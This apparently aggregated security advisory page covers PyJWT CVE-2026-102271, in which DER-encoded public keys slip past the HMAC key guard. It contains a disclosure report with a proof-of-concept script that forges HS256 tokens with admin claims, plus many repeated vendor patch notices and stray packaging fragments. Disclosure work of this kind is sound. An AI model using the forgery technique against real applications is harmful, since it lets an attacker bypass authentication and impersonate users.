CVE-2026-102271

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.

Summary

HMACAlgorithm.prepare_key blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for -----BEGIN and for an ssh- prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.

An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.

The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.

Details

The guard is at jwt/algorithms.py:331:

if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

Both helpers are text matchers. Neither one parses the key.

• jwt/utils.py:126, is_pem_format, runs a regex for ----[- ]BEGIN ...----.
• jwt/utils.py:141, is_ssh_key, checks startswith against a list of ssh- and ecdsa-sha2- prefixes.

A DER encoded public key starts with the bytes 0x30 0x82. It matches neither, so prepare_key returns it unchanged and it becomes the HMAC secret.

There is no DER handling anywhere in the package. grep -rni "\bDER\b|load_der" jwt/ tests/ returns nothing.

This affects three encodings that are all blocked in their PEM form today:

• DER SubjectPublicKeyInfo
• DER PKCS#1
• DER encoded X.509 certificate

History of this guard:

• Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.
• Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.
• DER has never been covered.

Applications that use PyJWK or PyJWKClient are not affected. jwt/api_jws.py:395 binds the header alg to the key's own algorithm, so HS256 never reaches HMACAlgorithm.prepare_key on that path.

Suggested fix: try to parse the bytes as a key and reject if parsing works. For example load_der_public_key, load_der_private_key and load_der_x509_certificate in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.

PoC

Tested on 2.4.0, on 2.13.0, and on main at commit 7144e4534. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.

pip install "pyjwt==2.13.0" cryptography
python poc.py

No special configuration is needed. The script builds its own key.

import base64
import hashlib
import hmac
import json

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat

pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()
pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)
der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)


def b64(raw):
    return base64.urlsafe_b64encode(raw).rstrip(b"=")


def forge(secret):
    # The attacker does not use PyJWT. They only need the public key bytes.
    head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
    body = b64(json.dumps({"user": "admin", "role": "admin"}).encode())
    signing_input = head + b"." + body
    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
    return (signing_input + b"." + b64(sig)).decode()


# PEM form is rejected, as expected since CVE-2022-29217.
try:
    jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"])
except jwt.exceptions.InvalidKeyError as exc:
    print("PEM rejected:", exc)

# Same key, DER form. The…

setup.py test %endif

Security Fix(es):

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.(CVE-2026-102267)

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102268)

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102271)

setup.py test %endif

Security Fix(es):

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.(CVE-2026-102267)

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102268)

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102271)

setup.py test %endif

Security Fix(es):

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.(CVE-2026-102267)

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102268)

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102271)

setup.py test %endif

Security Fix(es):

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.(CVE-2026-102267)

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102268)

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102271)

Summary

HMACAlgorithm.prepare_key blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for -----BEGIN and for an ssh- prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.

An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.

The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.

Details

The guard is at jwt/algorithms.py:331:

if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

Both helpers are text matchers. Neither one parses the key.

• jwt/utils.py:126, is_pem_format, runs a regex for ----[- ]BEGIN ...----.
• jwt/utils.py:141, is_ssh_key, checks startswith against a list of ssh- and ecdsa-sha2- prefixes.

A DER encoded public key starts with the bytes 0x30 0x82. It matches neither, so prepare_key returns it unchanged and it becomes the HMAC secret.

There is no DER handling anywhere in the package. grep -rni "\bDER\b|load_der" jwt/ tests/ returns nothing.

This affects three encodings that are all blocked in their PEM form today:

• DER SubjectPublicKeyInfo
• DER PKCS#1
• DER encoded X.509 certificate

History of this guard:

• Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.
• Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.
• DER has never been covered.

Applications that use PyJWK or PyJWKClient are not affected. jwt/api_jws.py:395 binds the header alg to the key's own algorithm, so HS256 never reaches HMACAlgorithm.prepare_key on that path.

Suggested fix: try to parse the bytes as a key and reject if parsing works. For example load_der_public_key, load_der_private_key and load_der_x509_certificate in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.

PoC

Tested on 2.4.0, on 2.13.0, and on main at commit 7144e4534. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.

pip install "pyjwt==2.13.0" cryptography
python poc.py

No special configuration is needed. The script builds its own key.

import base64
import hashlib
import hmac
import json

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat

pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()
pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)
der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)


def b64(raw):
    return base64.urlsafe_b64encode(raw).rstrip(b"=")


def forge(secret):
    # The attacker does not use PyJWT. They only need the public key bytes.
    head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
    body = b64(json.dumps({"user": "admin", "role": "admin"}).encode())
    signing_input = head + b"." + body
    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
    return (signing_input + b"." + b64(sig)).decode()


# PEM form is rejected, as expected since CVE-2022-29217.
try:
    jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"])
except jwt.exceptions.InvalidKeyError as exc:
    print("PEM rejected:", exc)

# Same key, DER form. The…

The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.

Security Fix(es):

• pyjwt: pyjwt: Authentication bypass via empty HMAC key acceptance (CVE-2026-102266)

• pyjwt: PyJWT: Authentication bypass via improper public key validation (CVE-2026-102268)

• pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets (CVE-2026-102271)

• pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects (CVE-2026-102267)

• pyjwt: pyjwt: Token forgery via improper Unicode byte-order mark handling (CVE-2026-102272)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.

Security Fix(es):

• pyjwt: pyjwt: Authentication bypass via empty HMAC key acceptance (CVE-2026-102266)

• pyjwt: PyJWT: Authentication bypass via improper public key validation (CVE-2026-102268)

• pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets (CVE-2026-102271)

• pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects (CVE-2026-102267)

• pyjwt: pyjwt: Token forgery via improper Unicode byte-order mark handling (CVE-2026-102272)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.

The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.

Security Fix(es):

• pyjwt: pyjwt: Authentication bypass via empty HMAC key acceptance (CVE-2026-102266)
• pyjwt: PyJWT: Authentication bypass via improper public key validation (CVE-2026-102268)
• pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets (CVE-2026-102271)
• pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects (CVE-2026-102267)
• pyjwt: pyjwt: Token forgery via improper Unicode byte-order mark handling (CVE-2026-102272)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.

Security Fix(es):

• pyjwt: pyjwt: Authentication bypass via empty HMAC key acceptance (CVE-2026-102266)
• pyjwt: PyJWT: Authentication bypass via improper public key validation (CVE-2026-102268)
• pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets (CVE-2026-102271)
• pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects (CVE-2026-102267)
• pyjwt: pyjwt: Token forgery via improper Unicode byte-order mark handling (CVE-2026-102272)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.

TuxCare rebuilt pyjwt to address 6 CVEs. Fixed in 2.10.1.post5+tuxcare.

TuxCare rebuilt pyjwt to address 6 CVEs. Fixed in 2.8.0.post4+tuxcare.

TuxCare rebuilt pyjwt to address 2 CVEs. Fixed in 2.3.0.post5+tuxcare.

TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 1.7.1.post5+tuxcare.

This update for python-PyJWT fixes the following issues:

• CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
• CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
• CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
• CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
• CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
• CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
• CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
• CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
• CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
• CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls (bsc#1283829).

Root has patched CVE-2026-102271 in the pyjwt package for Root:PyPI. Multiple fixed versions available.

This update for python-PyJWT fixes the following issues:

• CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
• CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
• CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
• CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
• CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
• CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
• CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
• CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
• CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
• CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls (bsc#1283829).

This update for python-PyJWT fixes the following issues:

• CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
• CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
• CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
• CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
• CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
• CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
• CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
• CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
• CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).

This update for python-PyJWT fixes the following issues:

• CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
• CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
• CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
• CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
• CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
• CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
• CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
• CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
• CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
• CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls (bsc#1283829).

This update for python-PyJWT fixes the following issues:

• CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
• CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
• CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
• CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
• CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
• CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
• CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
• CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
• CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
• CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls (bsc#1283829).

This update for python-PyJWT fixes the following issues:

• CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
• CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
• CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
• CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
• CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
• CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
• CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
• CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).

YuSung Han discovered that PyJWT did not properly validate certain JWK keys when performing HMAC verification. An attacker could possibly use this issue to forge authentication tokens. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-102266)

Rohan Das discovered that PyJWT incorrectly handled redirects when fetching key sets. A remote attacker could possibly use this issue to cause PyJWT to disclose sensitive information. This issue only affected Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, Ubuntu 26.04 LTS. (CVE-2026-102267)

It was discovered that PyJWT incorrectly recognized certain PEM representations. An attacker who knew the public key could possibly use this issue to forge authentication tokens. This issue only affected Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, Ubuntu 26.04 LTS. (CVE-2026-102268)

Nuno Lopes discovered that PyJWT incorrectly handled DER public keys when performing HMAC verification. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102271)

It was discovered that PyJWT did not properly handle certain JWK keys prefixed with a byte-order mark. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102272)

Charles Vosburgh discovered that PyJWT incorrectly handled certain JWK containers when performing HMAC verification. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102273)

USN-8916-1 fixed vulnerabilities in PyJWT. This update provides the corresponding fix for PyJWT on Ubuntu 26.10.

Original advisory details:

YuSung Han discovered that PyJWT did not properly validate certain JWK keys when performing HMAC verification. An attacker could possibly use this issue to forge authentication tokens. (CVE-2026-102266)

Rohan Das discovered that PyJWT incorrectly handled redirects when fetching key sets. A remote attacker could possibly use this issue to cause PyJWT to disclose sensitive information. (CVE-2026-102267)

It was discovered that PyJWT incorrectly recognized certain PEM representations. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102268)

Nuno Lopes discovered that PyJWT incorrectly handled DER public keys when performing HMAC verification. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102271)

It was discovered that PyJWT did not properly handle certain JWK keys prefixed with a byte-order mark. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102272)

Charles Vosburgh discovered that PyJWT incorrectly handled certain JWK containers when performing HMAC verification. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102273)